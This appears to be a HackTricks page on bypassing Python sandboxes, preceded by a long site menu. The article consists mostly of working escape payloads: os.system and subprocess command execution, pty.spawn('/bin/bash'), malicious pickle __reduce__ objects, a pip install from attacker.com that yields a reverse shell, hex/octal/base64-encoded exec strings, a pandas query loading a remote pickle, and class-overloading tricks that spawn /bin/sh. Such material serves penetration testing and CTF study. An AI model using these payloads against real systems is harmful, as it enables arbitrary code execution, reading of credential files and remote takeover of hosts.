🤖
hacktricks
  • 👾Welcome!
    • HackTricks
    • HackTricks Values & FAQ
    • About the author
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • WebRTC DoS
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Reverse Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Reverse Shells - Windows
      • Reverse Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Objects in memory
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions & Debugging
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS Authorizations DB & Authd
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS - AMFI - AppleMobileFileIntegrity
        • macOS MACF - Mandatory Access Control Framework
        • macOS Code Signing
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users & External Accounts
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmiExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
        • Drupal RCE
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • Jira & Confluence
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • NextJS
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • PrestaShop
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
      • Ruby Class Pollution
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • ORM Injection
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • Reverse Tab Nabbing
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - CheatSheet
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Timing Attacks
    • Unicode Injection
      • Unicode Normalization
    • UUID Insecurities
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • Integer Overflow
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
    • Iframe Traps
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Stack Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Libc Heap
      • Bins & Memory Allocations
      • Heap Memory Functions
        • free
        • malloc & sysmalloc
        • unlink
        • Heap Functions Security Checks
      • Use After Free
        • First Fit
      • Double Free
      • Overwriting a freed chunk
      • Heap Overflow
      • Unlink Attack
      • Fast Bin Attack
      • Unsorted Bin Attack
      • Large Bin Attack
      • Tcache Bin Attack
      • Off by one overflow
      • House of Spirit
      • House of Lore | Small bin Attack
      • House of Einherjar
      • House of Force
      • House of Orange
      • House of Rabbit
      • House of Roman
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook & __free_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • iOS Exploiting
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
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  • Command Execution Libraries
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  • Other libraries that allow to eval python code
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  1. Generic Methodologies & Resources
  2. Python Sandbox Escape & Pyscript

Bypass Python sandboxes

PreviousPython Sandbox Escape & PyscriptNextLOAD_NAME / LOAD_CONST opcode OOB Read

Last updated 6 months ago

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These are some tricks to bypass python sandbox protections and execute arbitrary commands.

Command Execution Libraries

The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.

Python2 input() function allows executing python code before the program crashes.

Python try to load libraries from the current directory first (the following command will print where is python loading modules from): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Default packages

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
    def __reduce__(self):
        return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Pip package

Trick shared by @isHaacK

If you have access to pip or pip.main() you can install an arbitrary package and obtain a reverse shell calling:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:

This package is called Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.

Eval-ing python code

Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)

If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Other libraries that allow to eval python code

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Operators and short tricks

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassing protections through encodings (UTF-7)

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
    return x
    #+AAo-print(open("/flag.txt").read())
""".lstrip()

It is also possible to bypass it using other encodings, e.g. raw_unicode_escape and unicode_escape.

Python execution without calls

If you are inside a python jail that doesn't allow you to make calls, there are still some ways to execute arbitrary functions, code and commands.

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
    pass

# The previous code is equivalent to:
class X:
    pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE creating objects and overloading

If you can declare a class and create an object of that class you could write/overwrite different methods that can be triggered without needing to call them directly.

RCE with custom classes

You can modify some class methods (by overwriting existing class methods or creating a new class) to make them execute arbitrary code when triggered without calling them directly.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
    def __init__(self):
        self += "print('Hello from __init__ + __iadd__')"
    __iadd__ = exec #Triggered when object is created
    def __del__(self):
        self -= "print('Hello from __del__ + __isub__')"
    __isub__ = exec #Triggered when object is created
    __getitem__ = exec #Trigerred with obj[<argument>]
    __add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
